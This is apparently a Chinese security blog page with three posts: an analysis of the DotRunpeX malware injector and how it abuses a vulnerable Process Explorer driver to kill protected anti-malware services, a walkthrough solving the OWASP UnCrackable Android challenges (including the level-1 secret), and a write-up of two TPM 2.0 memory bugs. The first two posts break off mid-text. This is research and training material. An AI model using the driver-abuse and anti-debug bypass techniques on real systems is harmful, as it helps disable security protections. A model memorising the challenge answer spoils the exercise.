Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863109779

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

微信截图_20230319161953.png

新版DotRunpeX完整的技術分析為了分析dotRunpeX的新版本，使用了示例SHA256:“44a11146173db0663a23787bffbb120f3955bc33e60e73ecc798953e9b34b2f2”。這個示例是一個用.NET編寫的64位可執行文件“.exe”，受KoiVM保護。版本信息與舊版本的DotRunpeX的情況相同，並且在CPR分析的所有示例中都是一致的。 CPR可以再次注意到ProductName – RunpeX.Stub.Framework 。

33.png

新DotRunpeX版本的信息

在dnSpyEx中打開示例並導出入口點函數_sb()方法後，CPR可以立即確認此新版本的DotRunpeX受到KoiVM虛擬程序的保護。儘管大多數IL代碼都是虛擬化的，但CPR仍然可以發現P/Invoke定義的CreateProcess方法的調用，該方法以某種方式創建一個處於掛鉤狀態的進程——通常用於代碼注入技術“Process Hollowing”。

34.png

創建掛鉤的流程作為Process Hollowing技術的一部分

在進一步研究了.NET元數據(特別是ImplMap表)中剩餘的內容之後，找出了定義為P/Invoke並很可能被這個示例使用的其他方法，CPR得到了比舊版本dotRunpeX更令人興奮的發現。顯然，該示例不僅執行代碼注入，還執行加載和與驅動程序通信。

35.png

ImplMap表——DotRunpeX的新版本

CPR立即註意到的下一個是使用了與舊版本相同的資源名——BIDEN_HARRIS_PERFECT_ASSHOLE——它包含要注入的加密有效負載。資源名稱在CPR分析的所有樣本中都是一致的。很明顯，解密例程隱藏在代碼虛擬化之後，但通過猜測，他們可以得到一個簡單的異或解密例程，它使用了一個表示開發者秘密願望的密碼——I_LOVE_HENTAIU2。

36.png

使用密碼“I_LOVE_HENTAIU2”對.NET資源進行簡單異或解密

不過，由於DotRunpeX仍處於開發階段，並添加了新功能，使用該注入器的最新示例改變了解密方案（不再是簡單的XOR），從而省略了嵌入式有效負載的靜態提取。

如上所述，IL代碼受到KoiVM虛擬程序的保護，因此為了繼續分析，CPR需要想出一些方法來處理受保護的代碼，並在合理的時間內從中獲得一些有意義的東西。首先，CPR想到的是使用一個名為OldRod的公開開源KoiVM去虛擬程序。這個工具完全適用於KoiVM的普通版本。它的開發方式甚至要優於KoiVM原始版本的一些簡單修改（例如VMEntry類中方法的簽名修改或默認#Koi流名稱的修改）。

不過，CPR正在處理一個自定義版本的KoiVM，它以一種不那麼容易被發現的方式修改了保護程序。 KoiVM的原始實現定義了119個用於虛擬化代碼的常量變量。這些常量用於定義寄存器、標誌、操作碼等。這些常量的指定值用於正確執行虛擬化代碼，也是去虛擬化過程所需的。

37.png

KoiVM的原始實現定義了119個常量

在使用普通版本的KoiVM時，在constants類內已編譯的、受保護的示例中，生成的常量以完全相同的順序顯示為字段，並帶有升序標記值。在編譯後的二進製文件中，常量及其對應的標記的順序是OldRod所依賴的。

38.png

OldRod源代碼——常量的自動檢測

儘管OldRod工具是一個非常好用的工具，並且可以在通過配置文件(——config選項)提供自定義常量映射時處理常量的自定義順序，但找出這些常量的正確映射並不像聽起來那麼簡單。有時，當一個常量的順序是手工修改時，通過分析它們在代碼中的使用來正確地映射它們可能並不難。但更糟糕的是，它們以一種非常有效的方式被打亂，使得正確的映射非常困難，以至於認為這種方法無法在合理的時間內獲得一些結果。

39.png

OldRod源代碼——常量的自動檢測

通過精確的代碼分析和通過適當的處理程序映射常量期間的一些困難時刻，CPR還是能夠完全去虛擬化代碼。不過，就算有了完全去虛擬化的代碼，但還是一個不能完全運行的.NET程序集，它仍然被ConfuserEx混淆器混淆了。

下圖是與驅動程序例程相關的完全去虛擬化和去混淆的代碼。

驅動程序裝載/卸載：

40.png

負責加載/卸載驅動程序的虛擬化和非虛擬化代碼

與procexp設備的通信：

41.png

負責與procexp設備通信的去虛擬化和去混淆的代碼

為了講解方便，本文不討論去虛擬化和去混淆的過程。

通常，當不可能在合理的時間內對代碼進行反虛擬化時，CPR仍然沒有其他選擇。第一個選項(處理虛擬化代碼時非常常見的方法)是使用調試器、DBI(動態二進制檢測)、掛鉤和WIN API跟踪進行動態分析。當CPR處理dotnet代碼時，另一種方法可能是使用一些來自.NET內部世界的知識進行PoC。 CPR決定將這兩種方法結合起來，從而開發出了一種非常有效的新工具。

為了獲得更多關於代碼功能的信息，CPR從使用x64dbg的動態分析方法開始。正如CPR之前指出的，包含P/Invoke定義的方法的ImplMap表似乎是在調試器中設置斷點的一個很好的起點。通過自動解析P/Invoke定義的方法並將其轉換為x64dbg腳本，CPR開發了第一個工具，稱為“ImplMap2x64dbg”。

ImplMap2x64dbg使用dnfile模塊正確解析.NET可執行文件及其元數據的Python腳本，此工具創建一個x64dbg腳本，用於在.NET可執行文件的已定義ImplMap (P/Invoke)方法上設置斷點。

42.png

使用' ImplMap2x64dbg '處理DotRunpeX示例將生成x64dbg腳本：

43.png

CPR主要關注某些WIN/NT API，如CreateProcessW、NtWriteVirtualMemory、CreateFileA、CreateFileW、NtLoadDriver、NtQuerySystemInformation和DeviceIoControl，因為它們是與驅動程序和進程注入例程相關的有趣API。

我們能看到的第一個有趣的WIN API調用是CreateFileW，它用於在路徑C:\Users\XXX\AppData\Local\Temp\Иисус.sys中創建一個文件。

44.png

CreateFileW用於創建文件“Иисус.sys”

如果CPR檢查創建的文件Иисус.sys（俄語翻譯為“jesus.sys”），就會立即發現它是一個有效的進程資源管理器驅動程序，版本為16.43。

45.png

創建的文件“Иисус.sys”是有效的進程資源管理器驅動程序，版本16.43

CPR可以看到負責加載此驅動程序的例程NtLoadDriver，其中參數指向DriverServiceName–\Registry\Machine\System\CurrentControlSet\Services\TaskKill，它指定了驅動程序註冊表項的路徑。

46.png

NtLoadDriver用於通過其關聯的註冊表項加載procexp驅動程序

47.png

驅動程序註冊表項“\registry\Machine\System\CurrentControlSet\Services\TaskKill”的內容

掛鉤到進程資源管理器設備如下。

48.png

獲取進程資源管理器設備的句柄

DotRunpeX逃避殺毒軟件技術之一是在進程資源管理器驅動程序（procexp.sys）的幫助下阻止一個硬編碼的反惡意軟件服務列表。使用進程資源管理程序驅動程序背後的原因是，反惡意軟件服務通常作為受保護的進程運行，更具體地說是作為PPL，以避免由惡意活動引起的系統保護失效。有可能濫用procexp驅動程序的易受攻擊版本來關閉受保護進程的對象句柄。一旦關閉了足夠多的句柄，特定的受保護進程將被終止。 CPR分析的所有示例都濫用了該驅動程序的16.43版本，這也是最新的易受該技術攻擊的版本。

為了獲得有關對象句柄的信息，DotRunpeX使用具有指定SystemInformationClass0x10的NT API NtQuerySystemInformation，該SystemInformationClass0x10指向未記錄的結構[SYSTEM_HANDLE_information]。通過這種方式，它可以找到屬於受保護進程的所有句柄。

49.png

NtQuerySystemInformation用於獲取未記錄的結構SYSTEM_HANDLE_INFORMATION

為了處理受保護進程的對象句柄，DotRunpeX使用WIN API DeviceIoControl將IOCTL直接發送給易受攻擊的procexp驅動程序。 IOCTL“2201288708”（IOCTL_CLOSE_HANDLE）在RDX寄存器中，處理此請求的procexp驅動程序例程負責關閉指定進程的某些對象句柄，無論指定進程是否受到保護。一旦關閉了足夠多的對象句柄，反惡意軟件服務就會被終止。

50.png

DeviceIoControl用於發送IOCTL“2201288708”以關閉受保護進程的對象句柄

我們還可以看到寄存器R8 (lpInBuffer)指向關閉對象句柄所需的數據。該數據結構可以定義如下：

51.png

讓我們比較一下DotRunpeX示例使用的procexp驅動程序版本（版本16.43，2021.8.17編譯）和最新版本的proceexp驅動程序（版本17.02，2022.11010編譯）。 CPR可以立即發現添加的修復代碼，該代碼負責禁用關閉受保護進程的對象句柄的可能性。

52.png

16.43與17.02版本進程資源管理器驅動程序之間的比較

這種使用進程資源管理器驅動程序關閉受保護流程的對象句柄的技術可以隨時上網查找到，並且是名為Backstab的開源項目的一部分，進程資源管理器驅動程序17.0以上的版本已經被修復。

在阻止特定的受保護進程後，Process Hollowing將使用WIN API CreateProcessW以掛鉤狀態啟動進程（在本例中為C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe），並直接使用NT API NtWriteVirtualMemory將DotRunpeX的嵌入式有效負載寫入新創建的遠程進程。

事實證明，通過一種專注於本機層和WIN/NT API的某些使用的動態分析方法，CPR對這種可用於自動化和大規模處理的虛擬化dotnet注入器獲得了一些有趣的發現：

每個DotRunpeX示例都有一個要注入的特定惡意軟件家族的嵌入式有效負載；

每個DotRunpeX示例都有一個嵌入式procexp驅動程序來終止受保護的進程；

虛擬化代碼背後很可能隱藏著某種配置，它指定了process Hollowing的目標進程、要阻止的受保護進程列表（反惡意軟件服務），以及其他有趣的可配置內容；

除此之外，CPR可以利用.NET內部世界的知識來實現一些自動化。當談論dotnet時，CPR可以立即想到由.NET運行時管理的代碼。越來越多的事情正在被管理，其中特別重要的就是所謂的“內存管理”。 dotnet中的內存類型有堆棧和.NET堆。在網絡世界中，CPR不需要為內存分配/釋放而煩惱，因為這些例程是由.NET運行時和垃圾收集器處理的。網絡的內存管理不知何故需要知道分配什麼、在哪里以及如何分配；解除分配/釋放內存也是如此。一旦討論了從System.Object（類、對象、字符串……）繼承的引用類型，就會在.NET堆上進行分配。這些對象保存在.NET堆上，為了進行自動管理，它們還附帶了某些元數據信息，如類型、引用和大小。另外就是不再引用的對象的自動內存釋放不會立即發生，垃圾收集器會在固定時間間隔內處理這一問題，可能需要幾分鐘。像“靜態對象”這樣的特定對象會在垃圾收集中倖存下來，並一直存持續到應用程序結束。

這意味著，如果CPR可以枚舉.NET堆上的對象，CPR也可以獲得與它們的類型和大小相關的信息，這些信息可以用於它們的適當重建。創建這種工具可能非常耗時，但幸運的是，CPR已經創建了dotnet進程和崩潰轉儲自省（crash dump introspection）開源庫ClrMD Microsoft.Diagnostics.Runtime，該庫由微軟開發，可以精確地用於從.NET堆重建對象。為什麼這很重要？

是因為在dotRunpeX執行的特定時刻，嵌入的有效負載、procexp驅動程序和某種配置必須以解密狀態出現。它們的內容可能會被分配到.NET堆上分配的某個對象。對於這些，CPR可以期望字節blobbyte[]或字符串。這也意味著，如果CPR能夠控制DotRunpeX的執行，並將其掛鉤，使其處於適合重建對象的狀態，那麼CPR將能夠在解密狀態下獲得所需的一切。

掛鉤和自省DotRunpeX進程的正確時機之一可能是調用用於Process Hollowing的WIN API CreateProcessW，這被認為是正確的假設，CPR為此開發了掛鉤庫“CProcessW_Hook”。

CProcessW_Hook使用minhook框架的本地掛鉤庫（適用於Windows的Minimalistic x86/x64 API掛鉤庫）。下面提供的代碼用於掛鉤WIN API函數CreateProcessW，該函數用於DotRunpeX注入器中的進程創建，該注入器後來用作代碼注入（PE Hollowing）的目標。一旦CreateProcessW函數被掛鉤並在目標進程中被調用，整個進程就會被掛鉤進行自省。某些進程創建會被過濾（powershell、conhost），因為它們可以根據配置為DotRunpeX的其他函數生成（例如修改Windows Defender設置）。 CPR只需要在執行代碼注入之前的狀態下暫停進程（其中所有需要的對像都已在.NET堆上解密）。

53.1.png

53.2.png

CPR可以看到，在函數DllMain()中加載這個庫時，所有的掛鉤邏輯都會立即執行。另一件需要注意的重要事情是，CPR定義了導出函數Decoy()，它永遠不會被執行或調用，但在以後的預注入技術中需要它。

有了掛鉤庫“CProcessW_Hook.dll”，CPR可以繼續創建一個注入器和提取器。這就是下面提供的主要工具——DotRunpeX提取器“Invoke-DotRunpeXextract”。

Invoke-DotRunpeXextractPowerShell模塊，支持從DotRunpeX中提取有效負載、procexp驅動程序和配置。該工具是用PowerShell腳本語言編寫的，使用預注入本機掛鉤庫“CProcessW_Hook.dll”（使用AsmResolver）和從.NET堆重建.NET對象（使用ClrMD）。它使用動態方法進行提取，因此樣本以託管方式執行(僅在VM中使用)。使用PowerShell 7.3+， clrMD v2.2.343001 (net6.0)， AsmResolver v5.0.0 (net6.0)。

本文提供了該工具的兩個版本，其中一個是創建為多線程的PowerShell模塊，以獲得最佳性能和使用效果。該工具的第二個版本是一個具有相同功能的單線程腳本，可以用於簡單的調試和故障排除，並且可以更容易地創建具有類似功能的多個代碼段。

PowerShell模塊的整個代碼都以易於理解其核心功能的方式進行了註釋，接下來我們將簡要描述該工具的核心功能，如使用AsmResolver的掛鉤庫的預注入技術以及提取背後的實現邏輯。

首先，該工具使用AsmResolver修改DotRunpeX的PE結構。 AsmResolver以其檢查dotnet可執行文件及其相關元數據的功能而聞名，但它也允許訪問PE的底層結構來修改它們。這些PE結構修改用於實現上述PoC技術，目的是將dll預注入64位的dotnet可執行文件。 CPR正在討論將本機掛鉤庫的新導入條目添加到.NET程序集中。由於DotRunpeX是一個64位可執行文件，而且與32位的dotnet可執行文件不同，64位的dotRunpe

HireHackking

滲透測試Android 應用程序：工具和分步說明（上）

解決UnCrackable Apps 挑戰我們將向您展示如何解決兩個OWASP MSTG CrackMe 挑戰：Android 級別1 的UnCrackable 應用程序和Android 級別2 的UnCrackable 應用程序。這些應用程序專門設計為逆向工程挑戰，代碼中隱藏著秘密。我們的任務就是找到這些秘密。在解決這些挑戰時，我們將使用靜態分析來分析反編譯代碼，並使用動態分析來修改一些應用程序參數。

解決UnCrackable App for Android Level 1首先，我們需要查看我們的培訓應用程序。一個普通的Android 應用程序實際上是一個正確打包的APK 文件，其中包含應用程序正常運行所需的所有數據。

要從內部審視應用程序並解決這一挑戰，我們需要：

adb 用於與我們的移動設備和培訓應用程序通信

用於將我們的培訓應用程序的APK 文件反彙編為單獨的.smali 類的Apktool

jdb 用於調試我們的訓練應用程序

dex2jar 用於將APK 文件轉換為JAR 格式

用於處理JAR 文件的JD-GUI

現在讓我們繼續解決第一個挑戰。

我們將首先使用以下命令在我們的設備或模擬器上安裝UnCrackable-Level1.apk：

image.png

我們將在jdb 工具的幫助下解決這個挑戰並調試Release Android 應用程序。繼續尋找隱藏的秘密。

1. 解壓應用程序並使用Apktool 解碼清單文件：

image.png

2. 使用文本編輯器，通過更改清單文件並將應用程序設置為android:debuggable：將應用程序置於調試模式'true'：

XML

applicationandroid:allowBackup='true'android:debuggable='true'android:icon='@mipmap/ic_launcher'android:label='@string/app_name'android:theme='@style/AppTheme'3.使用Apktool重新打包APK文件：

image.png

4.退出新創建的APK文件。您可以使用bash 腳本來執行此操作以重新註冊Android 應用程序。

5. 使用以下命令在您的設備或模擬器上安裝新的APK 文件：

此時，我們面臨第一個大挑戰。 UnCrackable App 旨在抵抗調試模式。因此，當我們啟用它時，應用程序會簡單地關閉。

您將看到帶有警告的模態對話框。可以通過點擊確定關閉對話框，但這將是應用程序終止前的最後一個操作。

image.png

滲透測試android 1

幸運的是，有一種方法可以解決這個問題。

6. 在等待調試器模式下在您的設備或模擬器上啟動應用程序。此模式允許您在應用程序運行其檢測機制之前將調試器連接到目標應用程序。因此，應用程序不會停用調試模式。

使用以下命令在等待調試器模式下運行應用程序：

您將看到以下對話窗口：

image.png

滲透測試android 2

7. 現在顯示連接設備上運行的所有進程的進程ID (PID)：

image.png

8. 並且只列出可調試的進程：

image.png

9. 在您的主機上打開一個監聽套接字並將其傳入的TCP 連接轉發到所選可調試進程的JDWP 傳輸：

image.png

10. 請注意，附加調試器（在我們的例子中是jdb）將導致應用程序從掛起狀態恢復，我們不希望這樣。我們需要暫停該應用程序一段時間以對其進行詳細探索。為防止進程恢復，將suspend命令通過管道傳輸到jdb：

image.png

11. 現在我們需要繞過點擊確定後應用程序在運行時崩潰的那一刻。使用dex2jar 和JD-GUI 反編譯APK 文件以查看應用程序代碼：

1）使用dex2jar工具將原始APK文件轉為JAR文件：

image.png

2）使用JD-GUI工具，打開新建的JAR文件：

image.png

查看代碼後，您會看到MainActivity.a方法顯示消息：

'This is unacceptable.'

MainActivity.a方法創建一個警告對話框並為onClick 事件設置一個偵聽器類。偵聽器類有一個回調方法，當用戶點擊OK 按鈕時，該方法會關閉應用程序。為防止用戶取消對話框，系統調用setCancelable方法。

在這一點上，我們最好的情況是將應用程序暫停在我們正在尋找的秘密字符串存儲在明文變量中的狀態。不幸的是，除非您能弄清楚應用程序如何檢測root 和篡改，否則這是不可能的。

12. 嘗試稍微修改運行時以繞過應用程序終止。 android.app.Dialog.setCancelable在應用程序仍處於暫停狀態時設置方法斷點，然後恢復應用程序：

image.png

13. 應用程序在第一個setCancelable方法指令處暫停。您可以使用該locals命令打印傳遞給setCancelable方法的參數：

image.png

正如您在上面的代碼中看到的，系統調用了setCancelable(true)方法，所以這不是我們需要的調用。讓我們用resume命令恢復這個過程：

image.png

我們已經通過參數調用了setCancelablefalse方法。此時，我們需要使用set命令將變量更改為true並恢復應用程序：

image.png

每次到達斷點時繼續設置，flag直到最終顯示警報窗口。 true您可能需要嘗試五六次才能看到此窗口。此時，您應該能夠在不導致應用程序終止的情況下取消應用程序——只需點擊對話框窗口旁邊的屏幕，它就會關閉。

image.png

滲透測試android 3

14. 最後，是提取秘密字符串的時候了。再次查看應用程序代碼。您會注意到我們正在尋找的字符串是使用高級加密標準解密的，並與用戶在消息框中輸入的字符串進行比較。應用程序使用java.lang.String類的equals方法來確定字符串輸入是否與秘密字符串匹配。

現在在java.lang.String.equals上設置一個方法斷點，在編輯字段中輸入隨機文本，然後點擊VERIFY。 locals到達斷點後，您可以使用命令讀取方法參數：

image.png

答對了！我們的秘訣是“我想相信”。您可以通過在消息框中輸入此短語並單擊“驗證”按鈕來輕鬆檢查是否正確。

image.png

滲透測試android 4

做得好！現在我們可以開始解決第二個挑戰了。

解決UnCrackable App for Android Level 2與之前的任務一樣，在這個訓練應用程序的代碼中某處隱藏著一個秘密字符串，我們的目標是找到它。然而，在這種情況下，我們的秘密字符串可能有一些本地代碼的痕跡。

為了解決這個挑戰，我們將使用以下工具：

adb 用於與我們的移動設備通信

用於反彙編APK 文件的Apktool

用於處理庫的切割器

gbd 用於分析應用程序代碼

用於編輯二進制數據的Hex Workshop Editor

dex2jar 用於將APK 文件轉換為JAR 格式

用於處理JAR 文件的JD-GUI

讓我們直接解決這個挑戰：

1.使用dex2jar和JD-GUI，分析UnCrackable-Level2.apk文件。

1）首先，使用dex2jar將APK文件轉換為JAR文件：

image.png

2) 然後用JD-GUI打開轉換後的文件。從MainActivity類開始：

image.png

系統加載本機foo 庫。然後我們在MainActivity類的onInit方法中調用原生的init函數。

接下來，CodeCheck類從bar 庫中導入一個函數：

image.png

CodeCheck的一個方法（很可能被混淆了）使用這個函數來驗證密碼。

image.png

2.使用Apktool提取foo庫，然後用Cutter反編譯成機器碼：

image.png

在temp/lib 文件夾中，查找擴展名為.so 的文件。應該有針對不同類型處理器架構的文件：arm64-v8a、armeabi-v7a、x86 和x86_64。選擇與您正在使用的設備或模擬器的處理器架構相匹配的庫。您可以使用CPU-Z應用程序檢查設備的架構。

使用Cutter 分析所選庫。首先檢查功能選項卡以了解庫的功能。

例如：

pthread_create和pthread_exit函數表明函數庫使用線程。

image.png

滲透測試android 5

如果您看到strncmp字符串比較器，它可能用於驗證傳遞的密碼。如果幸運的話，我們正在尋找的字符串是硬編碼的，輸入的密碼會與它進行比較。然而，根據線程的使用判斷，我們可以假設庫在運行時計算秘密字符串。

image.png

滲透測試android 6

我們來分析一下strncmp函數。使用Cutter 找到strncmp函數的地址(0xffb)。

image.png

滲透測試android 7

ptrace是用於調試的Linux 系統調用。然而，在我們的例子中，它被用作一種反調試技術。

image.png

滲透測試android 8

讓我們分析一下ptrace的功能。這個調用被使用了兩次：第一次是在0x777，然後是0x7a7。在第一種情況下，它是當前進程的PID，在第二種情況下，它是PTRACE_ATTACH 標誌，0x10。

ptrace函數調用將一個Android 進程附加到自身。但是，一個Android 進程只能附加一個進程。這意味著目前我們無法將gdb 附加到Android 進程。

image.png

滲透測試android 9

3. 附加gdb 的問題可以通過NOP-ing 兩個ptrace 系統調用來解決。您可以使用Hex Workshop Editor 更改字節。將ptrace函數的地址插入工具的轉到字段並更改值：

image.png

滲透測試android 10

4. 打開原始APK 文件作為zip 存檔並將原始libfoo.so 庫替換為更改後的庫。

5. 使用與上一個挑戰相同的腳本退出修改後的APK 文件。

6. 在root 設備上安裝應用程序：

image.png

現在，當您啟動該應用程序時，您會看到一條警告，提示您無法使用該應用程序，因為設備已獲得root 權限。

image.png

滲透測試android 11

7.從應用程序代碼中刪除root 和調試器檢測。為此，請在反編譯的APK 文件中找到MainActivity.smali 文件並刪除a方法的所有內容。

當檢測到問題時調用a方法。它向用戶顯示一個警告對話框，然後退出應用程序。為了防止我們的應用程序出現此類行為，我們需要修補a方法。

這是刪除a方法內容後MainActivity.smali 文件的樣子：

image.png

8. 現在用修改後的MainActivity.smali文件重新打包APK 文件：

image.png

9. 接下來，打開UnCrackable-Level2_resigned.apk 文件作為ZIP 存檔，並將其中的classes.dex 文件替換為我們重新打包的APK 文件中的補丁文件。

10. 退出初始的UnCrackable-Level2.apk 文件。在這一步，我們的APK 文件有兩個替換的補丁文件：來自第8 步的MainActivity.smali 和來自第4 步的libfoo.so。

11. 在您的設備上安裝重新安裝的APK 文件：

這一次，我們的應用程序啟動時沒有任何警告消息。

image.png

滲透測試android 12

接下來，我們需要將gdb 附加到Android 進程。首先在您的設備或模擬器上設置gdb 服務器。

12. 在您的設備上打開root shell：

image.png

13. 使用計算機上的命令行界面，將gdb 服務器複製到/data/local/tmp/gdb-server 文件夾中：

HireHackking

我們將在本文中詳細討論在可信平台模塊(TPM) 2.0參考實現代碼中發現的兩個漏洞。這兩個漏洞，即越界寫入（CVE-2023-1017）和越界讀取（CVE-2013-1018），影響了多個TPM 2.0軟件實現（如虛擬化軟件使用的軟件）以及多個硬件TPM。

介紹2021年10月，微軟發布了Windows 11。其中一個突出的安裝需求是需要可信平台模塊(TPM) 2.0。這一需求的含義是，為了能夠在虛擬機中運行Windows 11，虛擬化軟件必須通過對主機上的硬件TPM進行傳遞或通過向其提供虛擬TPM來向VM提供TPM。

我們發現這是一個有趣的漏洞研究主題，因為添加虛擬TPM意味著可以從客戶內部訪問虛擬化軟件的擴展攻擊面，因此它可能用於虛擬機逃逸。作為研究工作的結果，我們發現了兩個安全問題：一個被標識為CVE-2023-1017的越界寫入，另一個被識別為CVE-203-1018的越界讀取。它們可以從用戶模式應用程序通過發送帶有加密參數的惡意TPM 2.0命令來觸發。有趣的是，這兩個漏洞的影響比我們最初想像的要大，鑑於它們源自Trusted Computing Group（簡稱TCG，發布和維護TPM規範的非營利組織）發布的參考實現代碼，這些安全漏洞不僅影響到我們測試的每個虛擬化軟件，也包括硬件實現。

請注意，這篇文章中的大多數評估(例如關於可利用性、影響或受影響的平台)都是基於我們對基於軟件的虛擬TPM的分析，因為我們可以用一種簡單的方式調試它們來執行動態分析，因為調試Hyper-V的虛擬TPM更難，因為它作為一個IUM進程運行。相反，在沒有調試接口的單獨芯片中運行的TPM固件中，了解運行時發生的事情是一個完全不同的問題。事實證明，即使對硬件TPM的固件進行靜態分析也很困難，因為我們試圖分析的少數TPM固件更新碰巧是加密的。因此，缺乏對硬件TPM的具體評估並不意味著它們不受影響，而是由於缺乏可觀察性，我們無法評估它們中的大多數是如何受到影響的。但是，使用本文中發布的概念驗證代碼，至少會驗證一些TPM芯片是易受攻擊的。在嘗試OOB寫入後，芯片將停止響應（即不再識別命令），並需要重新啟動計算機才能再次運行，從而確認其易受攻擊狀態。

受影響的平台以下是受影響的軟件和硬件平台的簡單列表。其中列出的產品，是我們可以藉助本文中提供的PoC證明存在漏洞的產品，但其他TPM（無論是虛擬的還是物理的）也很可能存在漏洞。

在我們進行研究時，易受攻擊的代碼存在於TPM 2.0參考實現的最新可用版本：Trusted Platform Module Library Specification, Family '2.0', Level 00, Revision 01.59 – November 2019；

Windows 10上的Microsoft Hyper-V(受影響模塊:TPMEngUM.dll版本10.0.19041.1415);

VMware Workstation 版本16.2.4 構建-20089737(受影響模塊:tpm2emu.exe -可執行文件中沒有版本信息)；

Qemu和VirtualBox使用的Libtpms/SWTPM (從主分支編譯，提交520a2fa27d27a4ab18f4cf1c597662c6a468565f);

Nuvoton硬件TPM(固件版本：1.3.0.1);

通常，所有固件基於可信計算組參考實現代碼的TPM 2.0都會受到影響。

對雲計算的威脅當前幾乎所有主要的雲計算提供商都提供帶有虛擬TPM的實例，這使得攻擊者可能試圖利用虛擬TPM中的這些漏洞，以繞過虛擬機並破壞主機系統。

亞馬遜AWS已配備了NitroTPM，Nitro TPM：Trusted Platform Module (TPM) 2.0，是一項安全性和兼容性功能，可讓客戶更輕鬆地在其EC2實例中使用依賴於TPM的應用程序和操作系統功能。它符合TPM 2.0規範，可以輕鬆將使用TPM功能的現有本地工作負載遷移到EC2；

Microsoft Azure提供虛擬TPM作為可信啟動的一部分；

谷歌云提供虛擬TPM作為屏蔽虛擬機的部分功能；

Oracle Cloud Infrastructure提供虛擬TPM作為屏蔽實例的一部分。

那些使用基於TCG參考實現的虛擬TPM的提供商預計很容易受到攻擊。以Google Cloud為例，他們的虛擬TPM的核心來自IBM發布的代碼，該代碼自動從TPM 2.0規範的完整源代碼中提取，CryptParameterDecryption函數中的漏洞存在於其中。以微軟Azure為例，他們的虛擬TPM“符合TPM 2.0規範”，我們已經驗證了Windows 10上可用的Hyper-V版本中包含的虛擬TPM確實非常易受攻擊。

關於亞馬遜AWS和Oracle雲基礎設施，除了知道“符合TPM 2.0規範”並鏈接到TCG網站外，我們沒有太多關於他們的信息。

修復參考實例(Reference Implementation)可信計算組織（Trusted Computing Group，TCG）發布了TCG可信平台模塊庫的勘誤表1.4版，並對這兩個漏洞提出了修復建議。

軟件產品微軟在2023年3月的安全更新中修復了Hyper-V中的漏洞。他們對TPM 2.0在Azure的Pluton/HCL/Overlake/Manticore標準服務器上的OOB寫入影響的評估很低，因為只有2個字節覆蓋，目前該團隊還沒有一種易於實現的方法來獲得僅2個字節的EoP或RCE。

微軟還通過提交9bdd9f0aaba5e54b3c314cfff02cf532281a067e修復了他們的開源參考實現。

VMware預計將於2023年4月發布這些漏洞的修復程序。

Libtpms修復了提交324dbb4c27ae789c73b69dbf4611242267919dd4中的漏洞。

Chromium OS修復了提交3b87ed233acb4c76c27872e1ac0b74dc032199f1漏洞。

IBM在提交102893a5f45dbb0b0ecc0eb52a8dd4defe559f92中修復了他們的開源實現。

硬件產品Nuvoton為其NPCT65x TPM芯片發布了安全諮詢SA-003。

聯想發布了關於使用上述Nuvoton TPM的受影響產品的安全諮詢LEN-118320。

查看計算機製造商的網站以獲取TPM固件更新。

技術細節關於TPM加密參數的入門教程如Trusted Platform Module Library Specification，Family 2.0，Part 1：Architecture 第21節“基於會話的加密”中所描述的那樣，一些TPM 2.0命令具有可能需要加密的參數，這些參數可能需要去往TPM或通過TPM進行加密。可以使用基於會話的加密來確保這些參數的機密性。引用規範如下：

並非所有命令都支持參數加密。如果允許基於會話的加密，只有請求或響應的參數區域中的第一個參數可以被加密。參數必須有明顯的大小字段。只有參數的數據部分被加密。 TPM應該支持使用XOR模糊處理的基於會話的加密。對使用CFB模式的分組密碼的支持是特定於平台的。這兩種加密方法（XOR和CFB）不需要填充數據進行加密，因此加密數據大小和純文本數據大小相同。

基於會話的加密使用會話啟動時建立的算法參數以及從特定於會話的sessionKey派生的值。

如果sessionAttributes.decrypt在命令的會話中為SET，並且該命令的第一個參數是一個大小為緩衝區的參數，則使用會話的加密參數對該參數進行加密。

帶有加密參數的TPM 2.0命令由基本命令標頭、handleArea和sessionArea組成，最後是加密的參數parameterArea。結構如下：

1.png

如下圖所示，在TPM 2.0參考實現中，ExecCommand.c中的ExecuteCommand函數檢查sessionArea的authorizationSize字段是否至少為9（[1]）。之後，在[2]中，它計算parameterArea的開始（位於sessionArea之後），並將其保存到parmBufferStart變量中。在[3]中，它計算parameterArea的大小，並將其保存到parmBufferSize變量中。然後它調用ParseSessionBuffer()([3])，傳遞parmBufferStart和parmBufferSize作為參數([5], [6])。

2.png

SessionProcess.c中的函數ParseSessionBuffer解析命令的sessionArea。如果會話具有Decrypt屬性集（[1]），並且命令代碼允許參數加密，則ParseSessionBuffer調用CryptParameterDecryption()([2])，傳播parmBufferSize([3])和parmBufferStart([4])參數:

3.png

CryptParameterDecryption函數中存在的漏洞CryptUtil.c中的函數CryptParameterDecryption對加密的命令參數執行就地解密。

4.png

此函數中出現的兩個安全漏洞漏洞1：OOB read(CVE-2023-1018):在[1]中，函數使用BYTE_ARRAY_TO_UINT16宏從parmBufferStart指向的緩衝區中讀取16位字段(cipherSize)，而不檢查是否有任何參數數據超過會話區域。之前在函數ExecuteCommand中執行了唯一的長度檢查，但該檢查只驗證了命令的sessionArea至少有9個字節。因此，如果格式錯誤的命令不包含越過sessionArea的parameterArea，它將觸發越界內存讀取，使TPM在命令結束後訪問內存。

請注意，BYTE_ARRAY_TO_INT16宏不執行任何邊界檢查：

5.png

應該使用UINT16_Unmarshal函數來代替，它在從給定的緩衝區讀取之前執行適當的大小檢查。

漏洞2：OOB寫入(CVE-2023-1017):如果提供了適當的parameterArea(避免出現漏洞1)，則parameterArea的前兩個字節將被解釋為要解密的數據的大小（[1]處的cipherSize變量）。在讀取了cipherSize之後，在[2]處，緩衝區指針向前移動2。在[3]中有一個健全性檢查，如果cipherSize值大於實際緩衝區大小，那麼它將被釋放，但這裡有一個問題，在讀取cipherSize 16位字段並將緩衝區指針向前移動2之後，函數會忘記從bufferSize減去2，忽略已經處理的兩個字節。因此，使用比剩餘數據實際大小大2的cipherSize值成功地通過[3]的完整性檢查是可能的。這樣，當調用CryptXORObfuscation()或ParmDecryptSym()函數(分別在[4]和[5]處)來實際解密cipherSize字段後面的parameterArea中的數據時，TPM最終會在緩衝區末尾寫入2個字節，從而導致越界寫入。

